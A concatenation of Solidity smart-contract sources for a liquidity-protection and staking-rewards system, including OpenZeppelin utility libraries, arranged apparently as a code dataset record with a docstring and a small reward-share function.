LICENSE pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IReserveToken.sol"; import "./SafeERC20Ex.sol"; /** * @dev This library implements ERC20 and SafeERC20 utilities for reserve tokens, which can be either ERC20 tokens or ETH */ library ReserveToken { using SafeERC20 for IERC20; using SafeERC20Ex for IERC20; // the address that represents an ETH reserve IReserveToken public constant NATIVE_TOKEN_ADDRESS = IReserveToken(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); /** * @dev returns whether the provided token represents an ERC20 or ETH reserve */ function isNativeToken(IReserveToken reserveToken) internal pure returns (bool) { return reserveToken == NATIVE_TOKEN_ADDRESS; } /** * @dev returns the balance of the reserve token */ function balanceOf(IReserveToken reserveToken, address account) internal view returns (uint256) { if (isNativeToken(reserveToken)) { return account.balance; } return toIERC20(reserveToken).balanceOf(account); } /** * @dev transfers a specific amount of the reserve token */ function safeTransfer( IReserveToken reserveToken, address to, uint256 amount ) internal { if (amount == 0) { return; } if (isNativeToken(reserveToken)) { payable(to).transfer(amount); } else { toIERC20(reserveToken).safeTransfer(to, amount); } } /** * @dev transfers a specific amount of the reserve token from a specific holder using the allowance mechanism * * note that the function ignores a reserve token which represents an ETH reserve */ function safeTransferFrom( IReserveToken reserveToken, address from, address to, uint256 amount ) internal { if (amount == 0 || isNativeToken(reserveToken)) { return; } toIERC20(reserveToken).safeTransferFrom(from, to, amount); } /** * @dev ensures that the spender has sufficient allowance * * note that this function ignores a reserve token which represents an ETH reserve */ function ensureApprove( IReserveToken reserveToken, address spender, uint256 amount ) internal { if (isNativeToken(reserveToken)) { return; } toIERC20(reserveToken).ensureApprove(spender, amount); } /** * @dev utility function that converts an IReserveToken to an IERC20 */ function toIERC20(IReserveToken reserveToken) private pure returns (IERC20) { return IERC20(address(reserveToken)); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./ILiquidityProtectionStore.sol"; import "./ILiquidityProtectionStats.sol"; import "./ILiquidityProtectionSettings.sol"; import "./ILiquidityProtectionSystemStore.sol"; import "./ITransferPositionCallback.sol"; import "../../utility/interfaces/ITokenHolder.sol"; import "../../token/interfaces/IReserveToken.sol"; import "../../converter/interfaces/IConverterAnchor.sol"; /** * @dev Liquidity Protection interface */ interface ILiquidityProtection { function store() external view returns (ILiquidityProtectionStore); function stats() external view returns (ILiquidityProtectionStats); function settings() external view returns (ILiquidityProtectionSettings); function systemStore() external view returns (ILiquidityProtectionSystemStore); function wallet() external view returns (ITokenHolder); function addLiquidityFor( address owner, IConverterAnchor poolAnchor, IReserveToken reserveToken, uint256 amount ) external payable returns (uint256); function addLiquidity( IConverterAnchor poolAnchor, IReserveToken reserveToken, uint256 amount ) external payable returns (uint256); function removeLiquidity(uint256 id, uint32 portion) external; function transferPosition(uint256 id, address newProvider) external returns (uint256); function transferPositionAndNotify( uint256 id, address newProvider, ITransferPositionCallback callback, bytes calldata data ) external returns (uint256); } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../../liquidity-protection/interfaces/ILiquidityProvisionEventsSubscriber.sol"; import "./IStakingRewardsStore.sol"; interface IStakingRewards is ILiquidityProvisionEventsSubscriber { /** * @dev triggered when pending rewards are being claimed */ event RewardsClaimed(address indexed provider, uint256 amount); /** * @dev triggered when pending rewards are being staked in a pool */ event RewardsStaked(address indexed provider, IDSToken indexed poolToken, uint256 amount, uint256 indexed newId); function store() external view returns (IStakingRewardsStore); function pendingRewards(address provider) external view returns (uint256); function pendingPoolRewards(address provider, IDSToken poolToken) external view returns (uint256); function pendingReserveRewards( address provider, IDSToken poolToken, IReserveToken reserveToken ) external view returns (uint256); function rewardsMultiplier( address provider, IDSToken poolToken, IReserveToken reserveToken ) external view returns (uint32); function totalClaimedRewards(address provider) external view returns (uint256); function claimRewards() external returns (uint256); function stakeRewards(uint256 maxAmount, IDSToken newPoolToken) external returns (uint256, uint256); function stakeReserveRewards( IDSToken poolToken, IReserveToken reserveToken, uint256 maxAmount, IDSToken newPoolToken ) external returns (uint256, uint256); function storePoolRewards(address[] calldata providers, IDSToken poolToken) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <=0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IClaimable.sol"; /// @title Mintable Token interface interface IMintableToken is IERC20, IClaimable { function issue(address to, uint256 amount) external; function destroy(address from, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <=0.8.9; /// @title Claimable contract interface interface IClaimable { function owner() external view returns (address); function transferOwnership(address newOwner) external; function acceptOwnership() external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./interfaces/IOwned.sol"; /** * @dev This contract provides support and utilities for contract ownership. */ contract Owned is IOwned { address private _owner; address private _newOwner; /** * @dev triggered when the owner is updated */ event OwnerUpdate(address indexed prevOwner, address indexed newOwner); /** * @dev initializes a new Owned instance */ constructor() public { _owner = msg.sender; } // allows execution by the owner only modifier ownerOnly { _ownerOnly(); _; } // error message binary size optimization function _ownerOnly() private view { require(msg.sender == _owner, "ERR_ACCESS_DENIED"); } /** * @dev allows transferring the contract ownership * * Requirements: * * - the caller must be the owner of the contract * * note the new owner still needs to accept the transfer */ function transferOwnership(address newOwner) public override ownerOnly { require(newOwner != _owner, "ERR_SAME_OWNER"); _newOwner = newOwner; } /** * @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public override { require(msg.sender == _newOwner, "ERR_ACCESS_DENIED"); emit OwnerUpdate(_owner, _newOwner); _owner = _newOwner; _newOwner = address(0); } /** * @dev returns the address of the current owner */ function owner() public view override returns (address) { return _owner; } /** * @dev returns the address of the new owner candidate */ function newOwner() external view returns (address) { return _newOwner; } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; /** * @dev Contract Registry interface */ interface IContractRegistry { function addressOf(bytes32 contractName) external view returns (address); } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; /** * @dev Owned interface */ interface IOwned { function owner() external view returns (address); function transferOwnership(address newOwner) external; function acceptOwnership() external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; /** * @dev This contract is used to represent reserve tokens, which are tokens that can either be regular ERC20 tokens or * native ETH (represented by the NATIVE_TOKEN_ADDRESS address) * * Please note that this interface is intentionally doesn't inherit from IERC20, so that it'd be possible to effectively * override its balanceOf() function in the ReserveToken library */ interface IReserveToken { } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @dev Extends the SafeERC20 library with additional operations */ library SafeERC20Ex { using SafeERC20 for IERC20; /** * @dev ensures that the spender has sufficient allowance */ function ensureApprove( IERC20 token, address spender, uint256 amount ) internal { if (amount == 0) { return; } uint256 allowance = token.allowance(address(this), spender); if (allowance >= amount) { return; } if (allowance > 0) { token.safeApprove(spender, 0); } token.safeApprove(spender, amount); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../../converter/interfaces/IConverterAnchor.sol"; import "../../token/interfaces/IDSToken.sol"; import "../../token/interfaces/IReserveToken.sol"; import "../../utility/interfaces/IOwned.sol"; /** * @dev Liquidity Protection Store interface */ interface ILiquidityProtectionStore is IOwned { function withdrawTokens( IReserveToken token, address recipient, uint256 amount ) external; function protectedLiquidity(uint256 id) external view returns ( address, IDSToken, IReserveToken, uint256, uint256, uint256, uint256, uint256 ); function addProtectedLiquidity( address provider, IDSToken poolToken, IReserveToken reserveToken, uint256 poolAmount, uint256 reserveAmount, uint256 reserveRateN, uint256 reserveRateD, uint256 timestamp ) external returns (uint256); function updateProtectedLiquidityAmounts( uint256 id, uint256 poolNewAmount, uint256 reserveNewAmount ) external; function removeProtectedLiquidity(uint256 id) external; function lockedBalance(address provider, uint256 index) external view returns (uint256, uint256); function lockedBalanceRange( address provider, uint256 startIndex, uint256 endIndex ) external view returns (uint256[] memory, uint256[] memory); function addLockedBalance( address provider, uint256 reserveAmount, uint256 expirationTime ) external returns (uint256); function removeLockedBalance(address provider, uint256 index) external; function systemBalance(IReserveToken poolToken) external view returns (uint256); function incSystemBalance(IReserveToken poolToken, uint256 poolAmount) external; function decSystemBalance(IReserveToken poolToken, uint256 poolAmount) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../../converter/interfaces/IConverterAnchor.sol"; import "../../token/interfaces/IDSToken.sol"; import "../../token/interfaces/IReserveToken.sol"; /** * @dev Liquidity Protection Stats interface */ interface ILiquidityProtectionStats { function increaseTotalAmounts( address provider, IDSToken poolToken, IReserveToken reserveToken, uint256 poolAmount, uint256 reserveAmount ) external; function decreaseTotalAmounts( address provider, IDSToken poolToken, IReserveToken reserveToken, uint256 poolAmount, uint256 reserveAmount ) external; function addProviderPool(address provider, IDSToken poolToken) external returns (bool); function removeProviderPool(address provider, IDSToken poolToken) external returns (bool); function totalPoolAmount(IDSToken poolToken) external view returns (uint256); function totalReserveAmount(IDSToken poolToken, IReserveToken reserveToken) external view returns (uint256); function totalProviderAmount( address provider, IDSToken poolToken, IReserveToken reserveToken ) external view returns (uint256); function providerPools(address provider) external view returns (IDSToken[] memory); } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../../converter/interfaces/IConverterAnchor.sol"; import "../../token/interfaces/IReserveToken.sol"; import "./ILiquidityProvisionEventsSubscriber.sol"; /** * @dev Liquidity Protection Settings interface */ interface ILiquidityProtectionSettings { function isPoolWhitelisted(IConverterAnchor poolAnchor) external view returns (bool); function poolWhitelist() external view returns (address[] memory); function subscribers() external view returns (address[] memory); function isPoolSupported(IConverterAnchor poolAnchor) external view returns (bool); function minNetworkTokenLiquidityForMinting() external view returns (uint256); function defaultNetworkTokenMintingLimit() external view returns (uint256); function networkTokenMintingLimits(IConverterAnchor poolAnchor) external view returns (uint256); function addLiquidityDisabled(IConverterAnchor poolAnchor, IReserveToken reserveToken) external view returns (bool); function minProtectionDelay() external view returns (uint256); function maxProtectionDelay() external view returns (uint256); function minNetworkCompensation() external view returns (uint256); function lockDuration() external view returns (uint256); function averageRateMaxDeviation() external view returns (uint32); } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../../converter/interfaces/IConverterAnchor.sol"; /** * @dev Liquidity Protection System Store interface */ interface ILiquidityProtectionSystemStore { function systemBalance(IERC20 poolToken) external view returns (uint256); function incSystemBalance(IERC20 poolToken, uint256 poolAmount) external; function decSystemBalance(IERC20 poolToken, uint256 poolAmount) external; function networkTokensMinted(IConverterAnchor poolAnchor) external view returns (uint256); function incNetworkTokensMinted(IConverterAnchor poolAnchor, uint256 amount) external; function decNetworkTokensMinted(IConverterAnchor poolAnchor, uint256 amount) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; /** * @dev Transfer position event callback interface */ interface ITransferPositionCallback { function onTransferPosition( uint256 newId, address provider, bytes calldata data ) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../../token/interfaces/IReserveToken.sol"; import "./IOwned.sol"; /** * @dev Token Holder interface */ interface ITokenHolder is IOwned { receive() external payable; function withdrawTokens( IReserveToken reserveToken, address payable to, uint256 amount ) external; function withdrawTokensMultiple( IReserveToken[] calldata reserveTokens, address payable to, uint256[] calldata amounts ) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../../utility/interfaces/IOwned.sol"; /** * @dev Converter Anchor interface */ interface IConverterAnchor is IOwned { } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../../converter/interfaces/IConverterAnchor.sol"; import "../../utility/interfaces/IOwned.sol"; /** * @dev DSToken interface */ interface IDSToken is IConverterAnchor, IERC20 { function issue(address recipient, uint256 amount) external; function destroy(address recipient, uint256 amount) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../../converter/interfaces/IConverterAnchor.sol"; import "../../token/interfaces/IReserveToken.sol"; /** * @dev Liquidity provision events subscriber interface */ interface ILiquidityProvisionEventsSubscriber { function onAddingLiquidity( address provider, IConverterAnchor poolAnchor, IReserveToken reserveToken, uint256 poolAmount, uint256 reserveAmount ) external; function onRemovingLiquidity( uint256 id, address provider, IConverterAnchor poolAnchor, IReserveToken reserveToken, uint256 poolAmount, uint256 reserveAmount ) external; } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../../token/interfaces/IReserveToken.sol"; import "../../token/interfaces/IDSToken.sol"; struct PoolProgram { uint256 startTime; uint256 endTime; uint256 rewardRate; IReserveToken[2] reserveTokens; uint32[2] rewardShares; } struct PoolRewards { uint256 lastUpdateTime; uint256 rewardPerToken; uint256 totalClaimedRewards; } struct ProviderRewards { uint256 rewardPerToken; uint256 pendingBaseRewards; uint256 totalClaimedRewards; uint256 effectiveStakingTime; uint256 baseRewardsDebt; uint32 baseRewardsDebtMultiplier; } interface IStakingRewardsStore { function isPoolParticipating(IDSToken poolToken) external view returns (bool); function isReserveParticipating(IDSToken poolToken, IReserveToken reserveToken) external view returns (bool); function addPoolProgram( IDSToken poolToken, IReserveToken[2] calldata reserveTokens, uint32[2] calldata rewardShares, uint256 endTime, uint256 rewardRate ) external; function removePoolProgram(IDSToken poolToken) external; function setPoolProgramEndTime(IDSToken poolToken, uint256 newEndTime) external; function poolProgram(IDSToken poolToken) external view returns ( uint256, uint256, uint256, IReserveToken[2] memory, uint32[2] memory ); function poolPrograms() external view returns ( IDSToken[] memory, uint256[] memory, uint256[] memory, uint256[] memory, IReserveToken[2][] memory, uint32[2][] memory ); function poolRewards(IDSToken poolToken, IReserveToken reserveToken) external view returns ( uint256, uint256, uint256 ); function updatePoolRewardsData( IDSToken poolToken, IReserveToken reserveToken, uint256 lastUpdateTime, uint256 rewardPerToken, uint256 totalClaimedRewards ) external; function providerRewards( address provider, IDSToken poolToken, IReserveToken reserveToken ) external view returns ( uint256, uint256, uint256, uint256, uint256, uint32 ); function updateProviderRewardsData( address provider, IDSToken poolToken, IReserveToken reserveToken, uint256 rewardPerToken, uint256 pendingBaseRewards, uint256 totalClaimedRewards, uint256 effectiveStakingTime, uint256 baseRewardsDebt, uint32 baseRewardsDebtMultiplier ) external; function updateProviderLastClaimTime(address provider) external; function providerLastClaimTime(address provider) external view returns (uint256); }
returns the specific reserve token's share of all rewards/
function _rewardShare(IReserveToken reserveToken, PoolProgram memory program) private pure returns (uint32) { if (reserveToken == program.reserveTokens[0]) { return program.rewardShares[0]; } return program.rewardShares[1]; }
7,268,396
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's 